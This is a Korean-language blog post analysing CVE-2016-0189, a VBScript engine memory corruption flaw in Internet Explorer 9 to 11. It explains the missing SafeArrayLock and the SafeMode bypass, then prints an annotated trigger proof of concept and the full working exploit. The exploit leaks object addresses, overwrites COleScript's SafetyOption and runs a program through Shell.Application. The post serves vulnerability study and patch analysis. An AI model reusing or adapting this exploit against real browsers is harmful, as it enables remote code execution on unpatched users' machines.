[EXPLOIT] IE VBScript Engine Memory Corruption 분석(Analysis a CVE-2016-0189)

최근 메일로 포스팅 요청이 있어 CVE-2016-0189 분석글을 작성하려합니다. 메일 받은지는 좀 됬는데.. 여전히 아직 저의 바쁨은 끝이 안나더군요. 틈틈히 작성하고, 퍼즐 조각 맞추기처럼 작성하여 포스팅을 올리게 되었습니다.

오늘의 주제인 2016-0189. 즉 IE에서 발생하는 Memory Corruption 오류는 서비스거부(DOS) 공격과 함께 Arbitrary code Execute가 가능하기 때문에 아주아주아주아주 위험한 취약점이죠. 올해 5월에 공식적인 패치가 나왔지만.. IE11 또한 타겟에 들어가기 때문에 패치되지 않은 IE라면 치명적인 결과를 보여줄 수 있겠네요.

차근차근 알아가 보도록 하겠습니다.

IE VBScript Engine Memory Corruption

CVE-NUMBER: CVE-2016-0189 취약 버전(Vulnerability Version) Microsoft Internet Explorer - IE11 - IE10 - IE9 Inner Engine - JScript 5.8 - VBScript 5.7 - VBScript 5.8 영향력 Remote code execute Denial of service

Script Engine이란?

시작하기 앞서 브라우저에서 사용하는 Script Engine에 대해 알고 시작하면 좋을 것 같습니다. 이름 그대로 웹 브라우저에서 스크립트를 처리해주는 엔진이죠. 이 친구들은 사용자 HTTP Request로 받아온 Response를 웹 브라우저에 표현하기 위해 뿌리게 되는데, 이 중에서 Javascript, VBscript 를 처리하기 위해서는 별도의 Script Engine이 필요하게 되죠.

IE 공격코드에 보면 많이 나오는 MSHTML 이라는 dll이 있는데 이 친구의 역할이 HTML을 뿌리는 역할이라면 오늘 Memory corruption에 사용된 Script Engine은 각각 언어로 된 스크립트를 처리하여 뿌리기 위한 엔진인거죠. 이 엔진이 동작하는 과정에서 메모리를 손상시키고, 이를 이용하여 공격자가 원하는 행위를 하게됩니다.

이 Exploit은 2가지의 취약점을 이용한 exploit인데, 아래 부분에서 조금 더 자세히 살펴보도록 하겠습니다.

Vulnerability Anlaysis Part1 - Missing a SafeArray lock in AccessArray

문제가 발생한 부분 중 첫번째는 vbscript.dll에 들어가는 AccessArray 함수입니다. 이 함수는 배열에 대해 access하는 부분인데, 함수 도중에 배열에 대한 보안장치가 존재하지 않아 공격자가 임의로 수정이 가능합니다.

여기서 보안장치라 하면 SafeArrayLock() 함수이고 접근 과정에는 수정될 수 없도록 안전하게 잠궈주는 함수입니다.

이 문제가 있는 AccessArray 함수를 사용하는 부분은 cDims, cbElements 등이 있습니다. cDims 는 Dim, 즉 변수 선언 구간을 의미하기 때문에 Dim을 이용한 변수 생성 구간에서 저 부분을 통과한다고 볼 수 있죠.

ary라는 2차원 배열이 있다고 합시다. 이 배열을 사용할 때 AccessArray 함수가 호출되고 할당된 버퍼는 64,032Byte(16**2001)입니다. 물론 이 자체로는 크게 문제가 없지만 버퍼 크기가 Resize를 통해 작은 크기로 조정된다면 별도의 검증 로직이 없었기 때문에 OOB(Out-of-bound access)가 발생합니다. 공격자는 해당 배열에 값을 쓰고 Resize하고, Free를 통해 메모리에 조금씩 값을 쓸 수 있습니다. 요걸 반복해서 일정 영역의 메모리에 데이터를 쓰게하는거죠.

다 나왔네요. Array에 값을쓰고, Resize 하는 과정을 통해 OOB를 발생시키고, 이를 이용해서 메모리에 값을 쓸 수 있다면 프로그램의 흐름을 뒤바꿀 수 있는 포인트를 만든 것 입니다.

아래 Trigger POC에 Description을 좀 달아봤습니다.


<html>
<meta http-equiv="x-ua-compatible" content="IE=10">
<body>
    <script type="text/vbscript">
        Dim aw                                ' 코드가 실행되면 먼저 aw라는 변수를 생성합니다. 
                                              ' 아까 설명드린대로 AccessArray 함수는 cDims 부분, 즉 Dim을 이용한 변수 선언에서 호출됩니다.)
                                                                      
        Class ArrayWrapper                    ' 그리고 ArrayWrapper class 를 정의합니다. 
            Dim A()                           ' 여기에는 2가지 함수가 존재합니다. 
            Private Sub Class_Initialize      ' A. 초기화 함수(init!)
                ReDim Preserve A(1, 20000)    ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1, 20000 으로 지정합니다. 
            End Sub
            Public Sub Resize()               ' B. Resize 함수
                ReDim Preserve A(1, 1)        ' Preserve 옵션을 통해 A배열의 데이터를 유지하면서 크기를 1,1로 지정합니다. 
            End Sub         
        End Class                             ' ※ Preserve 옵션: 재선언 시 기존 자료를 보존하며 재선언이 가능

        Function crash (arg1)                 ' 문제를 발생시키는 crash 함수입니다. 
            Set aw = New ArrayWrapper         ' 그냥 Dim으로 선언해둔 aw를 위에서 만든 ArrayWrapper class로 세팅합니다. 
                                              ' Class_initialize로 인해 ArrayWrapper 내 배열인 A가 1,20000인 2차원 배열로 세팅됩니다.
            MsgBox aw.A(arg1, 20000)          ' 인자값으로 입력 받은 o(triggerBug()가 포함된 익명함수)를 넘깁니다.  > triggerBug 가 트리거됨
        End Function

        Function triggerBug                   ' Bug를 Trigger 하는 부분입니다.
            aw.Resize()                       ' triggerBug 함수가 실행되면서 aw(ArrayWrapper) 클래스 내 Resize 함수를 호출합니다.
        End Function                          ' 선언부분에 보시면 아시겠지만 해당 함수는 Array의 사이즈를 1,1로 강제 변환하는 함수입니다. (Preserve 옵션)
    </script>

    <script type="text/javascript">
        alert(1);                                                                               
        var o = {"valueOf": function () { triggerBug(); return 1; }};    // 익명 함수를 이용하여 triggerBug 함수를 실행하고 aw(Array)를 Resize 합니다.
        setTimeout(function() {crash(o);}, 50);                          // 먼저 crach함수를 호출합니다. 인자값은 익명 함수가 포함된 o 변수입니다..
    </script>
</body>
</html> <!-- Description by HAHWUL -->

아래 그림순서로 보시면 좋을 것 같습니다.

큰 그림은 아주 간단합니다. 문제가 발생하는 부분은 AccessArray 가 실행될 때 배열에 대한 접근 제한(SafeArrayLock)가 호출되지 않아 발생하고, 공격자는 Array의 사이즈를 변경하며 원하는 메모리에 원하는 값을 채워나갑니다.

Vulnerability Anlaysis Part2 - IsUnsafeAllowed bypass

두번째는 IsUnsafeAllowed 함수입니다. 뜬금없이 이 함수는 왜 나오지 싶으실텐데, 이 함수는 브라우저의 SafeMode를 동작하는 함수 중 실행되는 함수입니다.

Part1 부분만으로는 완벽한 공격이 될 수 없습니다. MS, Chrome, Firefox 등은 각각 브라우저에 공격을 방지하는 많은 코드들이 들어가있고 해커는 그 방법까지 풀어야 완벽한 공격을 할 수 있습니다. 한번 새로운 보안장치가 나올 때 마다 해커들이 좀 힘들어하지만.. 그래도 어느샌가 풀려있고 그러죠.

아래 코드를 보시면 COleScript::OnEnterBreakPoint 가 실행되는 부분이 있습니다.


int  __thiscall COleScript::InSafeMode(COleScript *this, const struct _GUID *a2)
{
   signed int v2;
    v2 = 0;
   if(*((DWORD *)this + 93) & 0xB || !ColeScript::IsUnSafeAllow(a2))
   v2 = 1;
   return v2;
}

여기서 IsUnSafeAllow 함수는 내부적 결함을 가지고 있었습니다. IsUnsafeAllowe 함수에 쓰인 OnEnterBreakPoint 함수는 무조건 1을 반환하는 더미함수가 존재합니다. 이 함수는 항상 1을 반환하기 때문에 IsUnsafeAllow 함수가 if문에서 절대 분기되지 않고 아래로 내려가게 되어있지요.

원래 의도대로라면 InUnSafeAllow가 실행되어도 내부 분기에서 체크 후 Unsafe로되거나 QueryProtectedPolicy를 실행하여 대응되게 되어있지만 분기문에서 절대 빠지지 않기 떄문에 호출만으로 SafeMode를 해제할 수 있습니다.

자 이제 공격자는 IsUnsafeAllow만 호출할 수 있다면 손쉽게 SafeMode를 해제할 수 있겠네요. (오우 GodMode!)

물론 현재는 이 문제에 대해 수정되었다고 하네요..

Analysis Exploit code

공격자가 제공해준 Exploit code는 총 5가지의 단계로 이루어집니다.

  1. VBScriptClass instance 생성
  2. class instance에 대한 주소값 획득
  3. class instance를 이용하여 CSession 주소 수집
  4. CSession instance를 이용하여 COleScript 주소 수집(왜 COleScript의 주소를 찾는지는 위를 잘 보셨다면 아시겠죠?)
  5. ColeScript 내 SafetyOption에 대해 Overwrite

우리는 POC를 통해서 메모리의 값을 쓸 수 있는 점을 알게되었고, SafeMode 우회 방법까지 알게되었습니다. 그렇다면.. 계산기를 띄어야겠지요? Exploit code 중 일부입니다. 위 5가지 단계에 대한 내용이죠.


  Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance  //  원본 주석과 같이 getAddr 함수를 통해 address 값을 찾습니다. 
            addr = getAddr(arg1, dm) 
            ' Leak CSession address from class instance   // IE Hacking에서 보안로직을 우회하기 위해서 대부분 infomation leakage가 들어가는데 요 부분입니다. 
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance // 여기도 info leak입니다.
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174    ' 여기서 이제 SafetyOption 즉 SafeMode에 대해서 Overwrite 하게되고, 제한없이 사용가능한 일명 갓모드로 도입하게되죠.

            ' Execute notepad.exe   // VBscript 는 기본 보안설정으로 인해 Shell.Application.ShellExecute 함수를 사용할 수 없습니다. 
            Set Object = CreateObject("Shell.Application")  '// 다만 공격코드를 통해서 SafeMode에 대해 해제했기 때문에 사용이 가능해지죠. (갓모드의 힘)
            Object.ShellExecute "notepad"                        
        End Function

[highlight.js가 vbscript 인식을 못하네요. 싱글쿼터가 주석입니다.] 이러한 순서로 Exploit이 되게됩니다.

Full code


<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
    <script type="text/vbscript">
        Dim aw
        Dim plunge(32)
        Dim y(32)
        prefix = "%u4141%u4141"
        d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
        b = String(64000, "D")
        c = d & b
        x = UnEscape(c)

        Class ArrayWrapper
            Dim A()
            Private Sub Class_Initialize
                ' 2x2000 elements x 16 bytes / element = 64000 bytes
                ReDim Preserve A(1, 2000)
            End Sub

            Public Sub Resize()
                ReDim Preserve A(1, 1)
            End Sub
        End Class

        Class Dummy
        End Class

        Function getAddr (arg1, s)
            aw = Null
            Set aw = New ArrayWrapper

            For i = 0 To 32
                Set plunge(i) = s
            Next

            Set aw.A(arg1, 2) = s

            Dim addr
            Dim i
            For i = 0 To 31
                If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
                    addr = strToInt(Mid(y(i), 3 + 4, 2))
                End If
                y(i) = Null
            Next

            If addr = Null Then
                document.location.href = document.location.href
                Return
            End If

            getAddr = addr
        End Function

        Function leakMem (arg1, addr)
            d = prefix & "%u0008%u4141%u4141%u4141"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            Dim o
            o = aw.A(arg1, 2)

            leakMem = o
        End Function

        Sub overwrite (arg1, addr)
            d = prefix & "%u400C%u0000%u0000%u0000"
            c = d & intToStr(addr) & b
            x = UnEscape(c)

            aw = Null
            Set aw = New ArrayWrapper

            ' Single has vartype of 0x04
            aw.A(arg1, 2) = CSng(0)
        End Sub

        Function exploit (arg1)
            Dim addr
            Dim csession
            Dim olescript
            Dim mem

            ' Create a vbscript class instance
            Set dm = New Dummy
            ' Get address of the class instance
            addr = getAddr(arg1, dm)
            ' Leak CSession address from class instance
            mem = leakMem(arg1, addr + 8)
            csession = strToInt(Mid(mem, 3, 2))
            ' Leak COleScript address from CSession instance
            mem = leakMem(arg1, csession + 4)
            olescript = strToInt(Mid(mem, 1, 2))
            ' Overwrite SafetyOption in COleScript (e.g. god mode)
            ' e.g. changes it to 0x04 which is not in 0x0B mask
            overwrite arg1, olescript + &H174

            ' Execute notepad.exe
            Set Object = CreateObject("Shell.Application")
            Object.ShellExecute "notepad"
        End Function

        Function triggerBug
            ' Resize array we are currently indexing
            aw.Resize()

            ' Overlap freed array area with our exploit string
            Dim i
            For i = 0 To 32
                ' 24000x2 + 6 = 48006 bytes
                y(i) = Mid(x, 1, 24000)
            Next
        End Function
    </script>

    <script type="text/javascript">
        function strToInt(s)
        {
            return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
        }
        function intToStr(x)
        {
            return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
        }
        var o;
        o = {"valueOf": function () {
                triggerBug();
                return 1;
            }};
        setTimeout(function() {exploit(o);}, 50);
    </script>
</body>
</html>

마지막으로

마지막으로 어떻게 그들이 취약점을 찾았는지 정리하고 마치도록 하겠습니다. 사실 대부분의 브라우저 취약점은 Fuzzing이나 우연찮게 만난 버그에서 시작됩니다.

Exploit 코드를 공개한 사람과 제보자는 다른 사람 or 다른 그룹으로 보입니다. 아마 기존에 MS쪽으로 제보한 사람이 있다면 위와 같은 방법일 가능성이 높지요.

이 Exploit 코드를 올린분들은 MS에서 올 5월에 패치된 내용을 역 분석하여 Exploit 코드를 만들어 냈네요. 아래 링크에도 잘 설명되어 있습니다. (http://theori.io/research/cve-2016-0189)

5월 나온 MS 패치 내용을 bindiff를 통해 분석하였고, 그 중 vbscript.dll에서 눈에띄는 부분을 찾습니다. 아래 이미지를 보시면 AccessArray 즉 취약점이 존재했던 부분이 패치되었던 것이죠.

http://theori.io/research/cve-2016-0189

해당 부분에 IDA로 뒤져서 보게 되면 SafeArrayLock 함수가 추가된 것을 알 수 있지요.

http://theori.io/research/cve-2016-0189

제가 시간에 많이 쫒기다 보니 틈틈히 작성하게 되어 말이 이상하거나 틀린부분도 많이 있을겁니다.
아무튼.. 긴 글 읽어주시느라 고생 많으셨고, 혹시나 잘못된 부분이나 이해안되는 부분이 있으시면 댓글로 남겨주세요. 감사합니다.

Reference

https://www.rapid7.com/db/modules/exploit/windows/browser/ms16_051_vbscript https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0189 https://www.exploit-db.com/exploits/40118/ http://theori.io/research/cve-2016-0189